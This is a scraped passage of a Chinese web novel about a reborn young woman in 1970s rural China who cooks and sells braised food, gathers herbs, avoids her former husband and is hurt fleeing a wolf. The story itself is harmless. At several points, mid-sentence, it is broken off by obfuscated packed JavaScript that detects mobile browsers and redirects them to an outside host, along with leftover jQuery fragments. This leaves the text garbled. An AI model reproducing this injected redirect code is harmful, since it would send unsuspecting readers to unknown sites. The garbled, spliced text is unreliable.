林家三姐弟还没进家门，就闻到了肉的香味儿，林建华使劲吸了吸鼻子，他现在也才刚刚22岁的年纪，没比赵小霜大几岁，他三步并做一步冲进家门，就看到赵小霜正把面条捞进碗里，再往面条上倒上满满的浇头，整个碗里铺满了金黄的猪油渣，还有一条一条的菌菇丝，赵小霜切了一些葱花撒在上边，卖相别提有多诱人了。 赵小霜见大家都回来了，招呼大家吃饭，林建业把面都端进屋里，照例切了点咸菜丝。 这年头，就算城市里的工人，一个月面粉供应也才十斤左右，农村就更吃不到了，家家户户都是吃玉米面高粱面，喇嗓子，又硬，难以下咽，只有过年才舍得吃个白面馍馍，林秀英问道：“妮儿啊，你这都哪来的？” 赵小霜没应答，只说让他们先吃。 林建华就顾不了那么多了，他下地干了一天，只吃了两个玉米窝窝头，喝了一肚子冷水，他把面条和浇头搅了搅，让面条上均匀地挂上汤汁，一口吃下去，爽弹的面条配上柔软的菌菇丝，不时还能吃到酥脆的猪油渣，口感丰富，味道鲜美，简直要把人馋疯了！林建华使劲吸溜，没几下面条就见了底，他端起碗热乎乎地喝完了面汤，面汤有葱和胡椒的味道，在这个乍冷的初秋夜晚，暖得人额头后背都出了一层薄汗。 林秀英见状，要把自己的面条分一半给林建华，林建华却不要，他起身拿了个冷窝窝头就着咸菜丝啃起来：“姐，你吃吧，我吃饱了，吃点窝窝头压一压。” 一家四口暖融融地吃完了这顿油香四溢的菌菇猪油渣面条，昏暗的煤油灯光下，林秀英准备洗碗，却被林建华抢了过去，赵小霜拿出25块钱，递给林建业，说道：“舅舅，我和我妈得在这儿住一段时日，我前几天上山采了药材，今天去县里卖了，买了些肉面，还剩一些钱，这25块你先拿着，给家里买东西用。” 25块钱相当于一级工人一个月的工资，林建业连忙摆手，“小霜，你自己拿着吧，要不给你妈拿着也行，亲人之间不说这个，这里永远是你们的家，你们想住多久就住多久，别和舅舅说这个，生分了啊！” 林建华也抬头说道：“就在这儿住呗，一家人在一块不是挺好的嘛。” 赵小霜眼眶微红，上一世她住在庄白川家，伺候着一家老小，庄白川的妈妈邢芳瞧不起她的农村户口，也瞧不上她的学历，哪看哪不顺眼，虽然是文化人，没有打骂过她，可那种被鄙视的尴尬和羞愧，长期地折磨着赵小霜，她努力地讨好，换来的却是一家人的不屑，许晚清上了大学以后，她婆婆更是张口闭口夸许晚清，明里暗里戳着赵小霜的痛处，吃着赵小霜做的药膳，又瞧不起她贬低她。想到这里，赵小霜心里委屈又愤怒，真正爱她的人她没有保护好，却一门心思对瞧不起自己的人好，真是一腔真心喂了狗！ 再后来她妈妈过世，她爸另娶，就更是没有家可回了，赵小霜上一世从来没有体会过家的温暖，没想到重来一世，却真正拥有了一个家。 见林建业死活不要钱，她把钱收起来，郑重地给三个人讲了自己的计划，林家三姐弟听得目瞪口呆，林秀英更是结结巴巴的，“小霜，你，你怎么知道这些的呀？这总是上山也不是个事儿，多危险啊……” 林建华接着道：“小霜，黑市倒卖会被判成投机倒把的！你做这个太危险了！” 赵小霜却不太在意，过几年政策风向都会变，个体户就会如雨后春笋一般出来，谁先抢占了市场，谁就能先挣到钱，此时不行动，一定会错失良机，“我会小心的，这两天你们不是也轮值吗，不放心的话你们和我一块上山去卖东西呗。” 林建业却抽了根烟，沉默不语，过了良久，他开口道：“小霜已经把东西都买回来了，不如就听小霜的，做一次试试，要是没挣到钱，再收手也不迟。” 说着，他就去院子里处理猪大肠，赵小霜拉过妈妈的手，给她消毒上药，安抚地说：“没事的妈，我就试一试，离开了赵家，我们总得挣钱养活自己吧，我初中就辍学了，也没什么文化，现在也没有更好的挣钱法子了。我将来还想考大学呢，不得提前攒点学费呀？” 赵小霜开玩笑似的说着，目光却非常坚定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883655|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“等我考上大学了，就把你们都接到京市去，咱们天天吃猪肉，顿顿吃白面！”后世的发展速度一年快过一年，赵小霜还没说，十年以后，大家不仅不缺衣少食，顿顿有肉有菜，还能住上新楼房，开上小汽车！想到上一世她妈妈都没有见到这些，赵小霜眼眶又红了。 院子里，林建业和林建华已经把猪大肠翻出来折进去清洗了十几遍，赵小霜取了一个小的坛子，把五味子用白酒泡上，坛子口用泥巴封上，放到墙根底。 赵小霜把洗干净的猪大肠倒进锅里，加上香叶、花椒、八角、大料、葱姜等等，又把剩下的白酒都倒进去，加了几个辣椒，等煮熟了，又加上一些酱油和大豆酱，搅拌均匀，小火闷炖，熄火后盖上盖子自然冷却，等泡过一晚上，就更加入味儿了。 做完这些以后，赵小霜又和林建业偷偷上了山，不知道是不是吃了一顿饱饭的原因，他俩今天格外有劲，一路钻过树林找到了上次的溪流，在水边放置了补鱼虾的鱼笼，给里边放了点猪油渣的边角料吸引鱼虾。沿路捡了不少已经开口的板栗。 下山的时候，赵小霜抬头投过树隙去找月亮，不成想看到了几棵高大的野柿子树，她当即兴奋地跳了起来，只是今天没带大背篓，也拿不了那么多，林建业爬上去摘了四五个，赵小霜赶紧兜在衣服里，两个人这一趟上山时间很短，却也收获颇丰。 回家的路上，赵小霜盘算着明天把野鸡做成菌菇鸡肉酱，野柿子比较酸涩，不知道做成柿饼能不能好一点。板栗煮熟了做成板栗糕，拿到黑市上应该又可以卖一些钱，只是家里没有白糖和糯米，还得再去一趟县里买。 家里的窗户也得抓紧修缮，棉花也得赶紧买，冬天下雪以后路就非常难走了，她也很难经常去县里卖东西。上次时间紧迫没来得及问，赵小霜准备找刘哥或者老四问一下哪里的师傅能给装玻璃窗户，在天气转凉之前把家里好好收拾一下，刷个新漆，再添置一些常用的桌椅板凳。 赵小霜还想在入冬之前给四个人做一套棉衣棉裤，还有棉花被子，最近也得把棉花和布都买回来开始做了，买棉花要棉花票，一斤棉花还得2块5毛钱，劳动布9毛钱一尺，又是一笔不小的开销。家里的煤炭也得囤，煤油灯味道大又容易冒烟，赵小霜还想买点蜡烛以备不时之需，电灯是一时半会通不上了，这个年头只有村长和大队能有个小灯泡，也时不时断电。下次进县城，她还得再买一些白面和米，再买点猪肉做点腊肠，又方便保存，能多吃一段时间。 赵小霜越算越觉得缺钱，她暗暗祈祷着卤大肠能卖出个好价钱，也希望入冬之前能再上山挖到一些好的药材去卖，先带着一家人安然度过这个冬天，再慢慢考虑以后的事情。 5. 干净纯粹的美好梦境 第二天一早，林家三姐弟就又去田里收割麦子，“男十分，女八分，老弱病残五六分。”说的就是这个时候的事情，家里的布票粮票也需要用工分来换，所以家里的青壮年劳力基本上每天都要出工，有的生产队还会因为“缺勤”扣工分。 两只鸡已经处理好拔了毛，正挂在灶台上晾干，赵小霜把鸡的内脏收拾出来洗干净，准备晚上回来做个酸辣鸡杂，又把鸡均匀拆分，放入水中煮熟。煮熟以后，赵小霜把大块的肉都撕成鸡丝，控干水分。 赵小霜把鸡枞菌撕成条，碗里放一点盐腌制，锅中倒入菜籽油，烧到微微热以后放入鸡枞菌慢炸，鸡枞菌本身就有独特的香味儿，放猪油反而遮盖了它的鲜美，等鸡枞菌慢慢变软了，加入花椒、干辣椒段和鸡丝，继续小火炸，等鸡枞菌都变成棕色后关火，用油的余温继续炸制，冷却以后，就是鲜甜香脆的油鸡枞鸡丝酱了，用来下饭拌面煮汤，都非常鲜美。 做好这一切，她打开了卤大肠的锅盖，又是一阵喷香扑鼻，她又给锅中加了一些盐和胡椒粉，搅拌均匀以后，用剪刀把大肠剪成均匀的小段，拿一个大的搪瓷缸连汤带肉装起来，怕路上颠簸，赵小霜又用绳子捆了几圈。油鸡枞也用玻璃瓶分装起来，再塞上一个木塞子保证密封性。 收拾差不多了，赵小霜就赶忙出发去县里，昨天半夜摸黑上山，她也没有采到药材，只能寄希望于自己的手艺能卖个好价钱了。 只是没想到，还没到县里，就看到了两个意想不到的人。 赵小霜正埋头赶路，眼看着要到市内，前边出现了一对中年男女，女人嘴角长了一个大痣，身材矮胖。走路扭扭捏捏，让人看了很不舒服，但穿着精致，在大家都身着黑灰蓝粗布衣服的时候，她穿了一件白色的的确良衬衫，她瞪大眼睛一看，这不是她爹赵令强和她那个后妈王雪兰吗！ 这两个人光天化日之下，挨得极近，时不时对视偷笑一下，看的赵小霜直咬牙，上一世林秀英去世没多久，赵令强就娶了这个王雪兰，但赵小霜没想到这个时候他们就已经勾搭在一起了！赵令强没看到赵小霜，带着王雪兰走进了副食商店，赵小霜一直以为家里没钱给林秀英看病买药，现在看来，赵令强都是拿这个钱去养小三了！另一个可怕的念头在她脑中升起，林秀英虽然身体一直不好，但是却没有什么大病，怎么会突然一年就去世了呢，该不会…… 赵小霜浑身鸡皮疙瘩都起来了，但是眼下她没有办法求证，她冷静了一会儿，决定还是先去找人把东西卖了。 这个时候已经是上午九点多了，赵小霜这次熟练地摸进巷子里，找了个好点的空位把背篓放下来，一打开搪瓷缸，卤大肠的香味儿立刻飘散出来，吸引了不少人。 “大妹子，你这个卤肠怎么卖呀！” “婶子，卤大肠一块五一斤，不要肉票，油鸡枞一块钱一瓶。里边还有鸡肉，用来拌面拌饭都可香啦。”赵小霜眼睛亮亮地，给来来往往的人介绍着自己的东西。 有几个人听了她的价格，直接就走了，刚才的大婶还留在原地，有些不满地说道：“大妹子，你这卖的也太贵了，国营商店猪肉才九毛钱一斤，你这猪大肠卖一块五？！” 俗话说，挑货才是买货人，听这个婶子语气不好，赵小霜也不恼，她挑出一小条肥肠，用剪刀剪成小块，扎着给了眼前的大婶一块：“婶子，您尝尝，尝了不买也没事，我这个绝对不一样！” 见不要钱，周围几个人都凑过来想要一块尝尝，赵小霜也不吝啬，挨个分发给他们，浸泡了一晚上的肥肠非常入味，一点没有大肠的臭味，一口咬下去，劲道弹牙，油脂的香气混合着酱的香味儿，等咀嚼两下，在浓厚中又透出一股辛辣，恰到好处地解了肥肠的腻，让人忍不住想赶紧再吃下一口。 旁边的摊贩见赵小霜这么大方，不禁暗自摇头，心想年轻小姑娘确实不会做生意，这年头肉多金贵呀，每个人都来尝一口，这东西还卖不卖了！ 没成想，不少人尝了以后，就直接开始掏钱，“大妹子，给我来半斤！”“我也要，我要三两！”赵小霜本来就只买了二十斤生猪大肠，这玩意缩水厉害，煮熟了就只剩下十斤多一点点，第一个问话的大婶赶忙挤上前去，“诶诶诶，我先来的，先给我先给我，我要两斤！我要脆肠头！” 赵小霜从旁边借了个小秤，给大家按需求剪下合适的大小，买的多的她还会多给人家舀点汤汁，有几个人尝了还觉得有点贵，纠结买不买的时候已经卖出去了三四斤，他们也赶紧上前，钱带的少的只买一两，赵小霜也不嫌弃，好好地给他们包起来。不到一会儿，十斤卤肠就销售一空了，连带着还卖出去四瓶油鸡枞，后来的人没买到猪大肠，有的就捎带买了一瓶油鸡枞，有的问赵小霜什么时候再出摊，能不能多做一点，还有人说想吃别的卤味儿。赵小霜一一笑着应下，清点了钱，十斤卤大肠卖了14块6毛钱，油鸡枞卖出去七瓶得了7块钱，她留了两瓶油鸡枞，收了背篓去找老四买肉。 今天比上次来的要早很多，老四远远看见她，点了点头算是打了招呼，她走近以后给老四递了一瓶油鸡枞，笑盈盈地说：“四哥，这是我自己做的油鸡枞，你尝尝，可香了！” 老四没什么表情，点点头收下了，问：“今天买什么？” “给我来十斤猪肉，最好是肥瘦相间的那种，再来三十斤猪大肠，猪肚给我来一个，四哥，你这儿有猪耳朵没得？”见老四点头，她赶紧说：“猪耳朵我也全要了！”十斤猪肉花了赵小霜9块钱，猪大肠也花了9块钱，猪肚很大一个，拿着快有两斤重，要8毛钱，猪耳朵一共六个，按一斤6毛钱算，一共9毛6分钱，老四给她把零头抹了，只要了她19块5毛钱，还送了她一条猪尾巴，算好钱，赵小霜又问道：“刘哥今天没来啊。”老四头也不抬，低声应道：“他今天有事。”具体什么事人家不说，赵小霜也不方便问，她把剩下的一瓶油鸡枞交给老四，让帮忙转交给刘哥。 买完肉，今天的任务就完成了一大半，赵小霜去买了一些豆腐还有黄心的面土豆，做一次卤味很费劲，不如一次性再卤一点素菜，素菜卖的便宜，但成本也低，多做点也能挣不少。最后临走，她又买了一袋白糖，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883656|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓶蜂蜜，三瓶白酒和一斤糯米粉，她本就瘦小的身子简直要被压到地上去，她本来还想买点白面和大米，这下看来是背不上了，而且今天只卖了卤味和油鸡枞，本身也只挣到21块6毛钱，买完菜和糖，她身上只剩下了3毛钱，她只能放弃买米面的想法，慢腾腾地往回挪。 出了巷子没多远，却迎面遇到了庄白川，他骑着二八大杠，上身穿着干净支棱的白衬衫，在他身上显得服帖又好看，客观来讲，庄白川的容貌非常不错，他下乡没多久就“招工”进了造纸厂，也没怎么晒黑，浓眉大眼，鼻梁高挺，体格又高，站在街上非常惹眼。但此时赵小霜最不想看到的就是他，赵小霜想假装低头没看到从旁走过去，却被庄白川叫住，这一世他还没有和她结婚，没有背叛她，还是她的救命恩人，赵小霜理应感谢一下人家，但她心里一横，仍然选择装聋往前走去。 庄白川见她这样，倒也不恼，反而把车一停，伸手去扶赵小霜的背篓，“赵同志，你这个背篓太重了，我骑车了，送你回去吧。” 庄白川都快拿着个喇叭喊了，赵小霜无奈，只得停下脚步，扭头说道：“不用了，上次谢谢您救我，不好再麻烦您了。”庄白川却好似没有听到，自顾自地接下了赵小霜的背篓，放在自行车后座上，又用一根长绳固定了一下，“小霜，我昨天去你家找你，你爸说你们出远门了，没想到在这儿遇到你了……你身体好些了吗？” 赵小霜沉默了一下，没有回答他的问题，轻声说道：“那就麻烦你了庄同志。” 庄白川推着二八大杠在前边走着，侃侃而谈，赵小霜瘦瘦小小地跟在后边，扶着背篓，时不时礼貌性地应答一下。她盯着庄白川高大的背影，他的头发也修剪整齐，顺顺地打理好，从后边能看到他架在耳朵上的金属眼镜架，俨然一幅城里知识分子的模样。 赵小霜想起他们刚结婚的时候，庄白川还在西顺县的造纸厂里当学徒，别的学生下乡都是住农村，他能住在西顺县，厂里还给了宿舍。他们结婚以后，赵小霜也搬进了造纸厂家属院。那个时候庄白川也经常骑着二八大杠，带着她去兜风、买菜，赵小霜坐在后座上，轻轻揽着他精瘦却强壮的腰，一抬头就能看到他耳朵后边的眼镜架。 前世今生的场景一点点重叠，赵小霜有点恍惚，眼前的人看起来干净纯粹，阳光透过树叶斑斑驳驳地洒在他的身上，她一时间仿佛忘记了一切，像在一个美好的梦境中一般，耳边只剩下风扫过枝叶的刷刷声。 “……我下个月可能回趟川阳市，赵同志有什么需要我帮忙买的可以告诉我，我听我们大院的小姑娘说现在很时兴那个什么雪花膏……” 大院的小姑娘……他嘴里这个小姑娘大概率就是许晚清，诚然现在许晚清还是一个小孩子，庄白川对她也并没有那种意思，但想到上一世的种种，赵小霜像是被浇了一盆冷水，周围的阳光仿佛也突然流走，空气都变得黑暗浓厚，压得赵小霜喘不上气来。 庄白川自顾自地说着话，也没有发现身后的赵小霜经历了什么样的情绪起伏，赵小霜只沉沉地嗯了一声，再没说话。 6. 有狼？ 不多时，他们便回到了林家庄，赵小霜已经从低沉的情绪中缓过来一些，现在的情况不容她在这里伤春悲秋，她要尽快挣钱，再快一些挣钱，没有钱寸步难行。 好在有庄白川的帮忙，这次她回来的路程时间缩减了一半，到家后她抢在庄白川的面前把背篓卸下来，也不留人喝水，从屋里拿了瓶油鸡枞塞给他，一幅要赶人走的架势，庄白川接过油鸡枞，一双温柔似水的眼眸看着赵小霜，薄唇微启：“小霜，我都听说了，你爸要把你嫁给一个老鳏夫，你要不要……” 赵小霜赶紧打断他的话，“庄同志，很感谢你上次救了我，时候也不早了一会儿天快黑了，今天麻烦你跑这一趟，下次有机会我请你吃饭！”赵小霜看着正在日头上的太阳，睁眼说着瞎话。 她可不想再来一次“以身相许”的戏码了，上一世自己经历的苦痛还历历在目，她没有办法原谅庄白川，哪怕是这一世还没有出轨的庄白川。一瓶油鸡枞她能卖一块钱呢，给了这个大渣男真是便宜他了！赵小霜愤愤地想着。 庄白川没有再说下去，他拿着一小瓶油鸡枞，露出个意味不明的笑容，朝赵小霜摆摆手，转身推车走了。 赵小霜看人走远了，长舒了一口气，把背篓挪进屋里，眼泪却不受控制地流了下来，她深爱了十年的人，重来一世，她还是没办法完全放下他，想着他宽厚的肩膀和无数个夜晚的拥抱，赵小霜心中一阵抽痛。在得知结婚纪念日他去陪许晚清过生日的时候，她愤怒过，委屈过，难受过，数不尽的苦痛和挣扎最后却只换来他轻飘飘的一句道歉和一束她不喜欢的花。在她挣扎许久终于能快要走出痛苦的时候，又收到他和许晚清的床照，这要她怎么原谅他呢。 一阵布谷鸟的叫声打断了她的思绪，想到妈妈和舅舅们还在地里干活，赵小霜赶紧擦干眼泪，准备做明天要卖的卤味、板栗饼，还有今天的晚饭。她先把早上处理好的鸡内脏洗干净切成薄片，焯水后捞出，用辣椒和蒜末爆炒一会儿就可以出锅了。 晚饭做好了，赵小霜又把糯米洗干净放入凉水浸泡，猪肉残留的毛拔干净，又把昨天捡回来已经开口了的栗子包好上锅蒸好。准备好这一切，她把食材搬出屋子，给院里的灶台生上火。 卤味还是照之前的样子做，这次又加了猪耳朵猪肚和一条猪尾巴，等肉都熟透了，再把黄心土豆切成厚片放进去，豆腐则是沾了红薯粉又用薄油煎得金黄，外边有一层酥脆的壳，里边却还是嫩滑的，最后也一并放入大锅里卤着。 做好这些以后，她把泡好的糯米放进石磨转圈磨成糯米粉，为了让口感更细腻，她还特地多磨了几次，然后拿出蒸好的板栗，放进石臼里加凉白开捣成泥，再加上糯米粉继续捣，混合均匀后加上一点蜂蜜和白糖，又去后门的金桂树上薅了一些桂花。 秋天的金桂满树飘香，连带着院子里空气中都带着甜腻的桂花味儿，回来的第二天赵小霜就盯上它了，她爬上爬下摘了半箩筐，洗干净以后取出一些加到板栗泥里，剩下的铺平等晒干以后做桂花蜜。 赵小霜现在没有模具，只能找了一个方方正正的浅口盒，把板栗泥放进去铺平，上锅蒸熟，脱模以后均匀切成长方小块，静止放凉。 等做完这些，太阳已经西斜着要落山了，她还想在天黑之前去山里采点药材。赵小霜揉了揉酸疼的肩膀和胳膊，估摸着林家三姐弟还得一会儿才能回来，准备把面和好以后就去山里，她心里惦记着上次采蘑菇的落叶林，手上的动作不断加快，她还是舀了三碗白面，一碗玉米面和一碗高粱面，和到面光盆光手光，用笼屉布把盆盖上，就背了背篓上山。 这一次却没有她想象的那么顺利，昨天没有下雨，没有长出来新的蘑菇，仅有的几个蘑菇也都腐坏了，没办法吃，赵小霜可惜地把坏了的蘑菇扔掉，一路不知不觉就走到了溪水边，她捞起竹篓一看，里边已经有了非常多的鱼虾，虽然个头比较小，却各个肥满圆润，活蹦乱跳，她赶紧把鱼虾都收起来，掂了掂感觉最起码有六七斤，林家庄的生态环境好，这种野生的小鱼小虾也干净，只需要清洗干净就可以用来做下酒菜，干炸或者酱炒都非常好吃，秋天正是鱼虾多的时候，等下次来再放一些竹篓，河虾多的话做成香辣小河虾酱，处理好了不腥不苦，香辣爽口，非常下饭。赵小霜一边寻思着，一边又给竹篓里边塞了一些肥肉的边角料放下去，这才心满意足地离开。 眼看着天要黑了，赵小霜准备再走一段，看能不能发现一些别的东西，正走着，就看到了一个非常倾斜的山坡，说是悬崖峭壁也不为过，她准备离开之时，却看到了崖上的黄连！要知道70年代的黄连已经非常稀缺了，加上种植时间较长，品质好的黄连每公斤可以卖到40块钱！赵小霜心花怒放，崖边虽然危险，但是密密麻麻地长满了黄连叶，多摘一些又能卖不少钱，她手脚并用地爬上去，发现这里的黄连根不光个头大，掰开以后芯都是黄澄澄的，赵小霜赶紧动手采摘了起来，采了快一个小时，实在腰酸背痛没办法弯腰了才停下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883657|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 再一抬头，赵小霜隐约看到了一片树荫下有一大片紫色的蘑菇，她上前查看，居然是一整片紫灵芝！紫灵芝没有赤灵芝滋补，却不常见，因此能卖到20元一斤。 赵小霜暗自感叹着自己的好运气，可能是老天看她可怜，给了她重来的机会，又给了她这样好的运气。这株紫灵芝生长在了树根里边，怕破坏灵芝，赵小霜小心翼翼地拿小刀割着树根，想把表面的树根割断。就这样慢慢地割了半个多小时，太阳已经完全下山了，她终于把灵芝取了下来，正当她高兴之时，突然看到黑黢黢的树林中闪过了一抹绿光。 是错觉吗？ 赵小霜有点愣神，再一眨眼，终于看清了黑暗中的绿色眼睛，正远远地盯着她看。 赵小霜背后汗毛竖起，头皮直发麻，她听说农村的山里入冬之前会有野狼觅食，却没想到正好让她撞到，今天她也贪心，为了摘药材埋头走了这么远，已经完全是深山了。 跑。 一个字浮现在赵小霜的脑海里，她颤抖着双腿，慢慢往后退，见绿色的眼睛没有动静，拔腿就往山下跑去，一路上的树枝划过她的脸和胳膊，她感觉脸上火辣辣地疼，应该破了不少口子，此时赵小霜也顾不得那么多，她背着背篓，怀抱着灵芝，拼命地跑着，甚至顾不上去辨别方向。 直到脚下踩到了松软的土坑，她一个没站稳，直接摔倒在地，人在土坡上不受控制地往下滚去，赵小霜头昏脑胀，却紧紧护着怀里的紫灵芝，紧接着她就直直地撞到了一个巨大的树桩上，疼得她五脏六腑都移位了，但好在停了下来，她勉强爬起来，发现没有狼追上来，终于缓缓地舒了一口气。黑暗中，她摸索着走了一段，把背篓捡起来背上，慢腾腾地摸黑下山。 眼看着到了半山腰，她还在努力辨别下山的道路，却听到了妈妈和舅舅的呼喊声，她一边朝着声音的方向挪动，一边喊着：“妈！舅舅！我在这儿！” 杂乱的脚步声越来越近，火把的亮光也逐渐靠近，终于，赵小霜看到了举着火把的妈妈和舅舅，她哭着喊着：“妈！妈啊！” 林秀英的衣服头发也已经乱成一团，脸上满是担忧，她看到赵小霜身上沾满了泥土，脸上还划了一个大口子，血和着泥裹住了赵小霜的小脸，眼泪顿时奔涌而出，手中的火把啪的一声掉在地上，林秀英哭着扑向赵小霜，赵小霜腿一软，倒在林秀英怀里，她伸手抹去林秀英的眼泪，说：“我没事，妈，我不疼。” 说罢，终于昏死过去。 7. 好心的周医生 滴，滴，滴。 赵小霜鼻子里充斥着消毒水的味道，她努力地想睁开眼，却怎么都抬不起眼皮，她感觉手上冰凉，正要抬起胳膊看看怎么回事，旁边的林秀英赶紧站起来握住她的手。 “妮儿，你醒了，怎么样，感觉哪里不舒服吗？” 赵小霜模模糊糊地应着，她隐约看到一个穿着白大褂人影走进来，“还有一瓶消炎药得输，她感冒还没好利索，本来身体就虚弱，得好好休养一阵子。”一个富有磁性的男性声音响起，他顿了顿，又说：“好在没伤到骨头和内脏，都是皮外伤，按时上药不要碰水，好好养着吧。” 说完他又招呼护士过来给赵小霜换药瓶，赵小霜终于睁开眼睛，看到了满脸担忧的林秀英，“妮儿，你喝不喝水？妈还从食堂打了粥，你现在喝不喝？” 赵小霜感觉神志逐渐清醒，看窗外天仍然是黑的，她不知道自己睡了多久，第一反应是她做的卤味和板栗糕不知道怎么样了，如果她睡了一整天，板栗糕可能已经坏了，想到这儿，她挣扎着就要坐起来，林秀英赶紧摁住她，“输液着呢，别乱动，一会儿穿针了还得扎一下！” 赵小霜这才反应过来手的冰凉感来自哪里，她赶紧问道：“妈，我做的东西，没坏吧？” 林秀英看她这样，忍不住又落了泪。 “你昏迷了三四个小时了，你舅找大队借了自行车才把你送到县医院，你那些东西明天让你舅去给你卖，你安心在医院呆着，别再乱跑了，你不知道，刚才可把妈吓坏了……”赵小霜看着林秀英一身的泥土，头发上也粘了干枯的树枝，她伸出另一只手去给林秀英整理头发，带着哭腔安慰道：“没事，我这不是没事嘛，你别哭，对不起妈，我以后不乱跑了……” 正说着，刚才的医生又走了进来，他拿着一个干净的装满水的玻璃瓶，递给赵小霜，“天气冷了液体会凉，你把这个热水瓶拿上，能暖和点。” 赵小霜这才看清楚医生的长相，他看起来非常年轻，鼻梁高挺，眼神凌厉，低下头时眼睫毛的投影长长地落在眼眸下方，一身干净的白大褂，见她愣神，医生又往前递了一下。 赵小霜赶紧接过来道谢，医生摆了摆手，转身准备走，又掉头回来严厉地批评了她发烧还四处乱跑的行为，赵小霜被他这一热一冷弄的有点不知所措，不知道该说什么。 “小霜，多亏了这位医生，刚才妈着急身上也没带钱，是周医生垫付的医药费，你脸上的伤口也是周医生给你清理的。” 赵小霜只好尴尬地笑笑：“医药费我们会尽快还给您的，谢谢您。”男人面上没什么表情，点了点头就离开了屋子。 等周医生走了，赵小霜又不放心地叮嘱她妈，“妈，那个卤大肠还有猪肚都得用剪刀剪一下，板栗糕得再撒点白糖和干桂花，哦对了放背篓里的时候板栗糕记得放上边，路上颠簸，可不能压坏了……” 赵小霜絮絮叨叨地说着，林秀英打断她：“放心吧放心吧，你小舅一会儿就骑车过来，他都知道，你先吃点粥。” 林秀英给她剥了个鸡蛋，赵小霜慢吞吞吃着，她浑身疼得像散架了一样，她现在也切实地意识到了自己身体的孱弱，胳膊腿都瘦得像麻杆，她太需要长肉了，主席说了，身体是革命的本钱，为了以后的事业，她也要把身体养好养强壮！ 正吃着，林建华就风风火火地进来了，给林秀英拿了一卷子钱，又掏出来几个窝窝头，还有一个搪瓷的快餐杯，里边装着赵小霜炒的酸辣鸡杂，赵小霜又要叮嘱他，林建华抢在她之前开口：“卤味都切开了，你做的那个板栗糕我也带过来了，现在差不多四点，正是黑市人多的时候，我一会儿就去那边把东西卖了，你就安心歇着吧啊。” 说完林建华又风风火火地出去了，赵小霜这下也终于没有那么焦虑了，她用勺子舀了一点酸辣鸡杂，拌进粥里，给寡淡的白粥增加了一点香味儿，吃完鸡蛋和粥，赵小霜缓缓地睡着了。 再等她醒来，药已经输完了，林秀英不在屋里，天已经大亮了，她起身活动了一下僵硬的脖子，探头探脑地往病房外看去，一个小护士看到她，招呼她过去。 “你醒啦，你妈妈在诊室给你拿药呢，你好点了吗？” 赵小霜点点头，见赵小霜没什么大问题，小护士又说：“那你去找你妈妈吧，一会儿拿了药应该就能出院了，你得多吃点你知道吗……”得到素不相识的人的关心，赵小霜心里又酸涩又温暖，她再次点点头，跟着小护士进了诊室。 诊室也有一股淡淡的消毒水味儿，她环顾一圈，没看到昨天的周医生。林秀英在靠近窗户的方桌旁站着，一个面带疲色的中年医生叮嘱林秀英：“她这个身体太虚弱了，这次发高烧又摔了，没个半把月好不了，你们家人要多上心，别让她干重活……给她煮点鸡蛋红糖补一补……药要按时一天三顿饭后吃……” 林建华也站在旁边，不时点点头应答一声，等医生开好药方以后林建华去药房拿药，林秀英问道：“大夫，昨天的周医生给我们垫付了输液钱，今天没看到他，这个钱我们怎么……” 中年医生摆摆手：“他昨天半夜就走了，他们年轻医生最近去京市培训了，你等他培训回来再来给他吧。” 林秀英道着谢，拉着赵小霜退出门去，林建华也取好了药，他把自行车后座上的背篓背起来，让林秀英先骑车带赵小霜回家。见赵小霜探头探脑地往背篓里看，林建华笑出了声，压低声音说：“你放心吧，我都卖完了，又照着你做的那些东西买了点猪大肠和菜，还遇到一个卖红薯粉的，也买了点，最近你就在家呆着，买东西卖东西都交给小舅舅吧！”怕赵小霜不放心似的，他又拍拍胸脯，保证道：“小舅舅劲儿大，来回背东西也不费劲，肯定比你快多了！” 回了林家庄，林秀英先安顿好赵小霜，又骑车返回去接林建华，等折腾完这一圈，大家都已经饥肠辘辘。林建华把背篓搬进院里，就赶忙去大队还自行车。林秀英看赵小霜躺在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883658|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 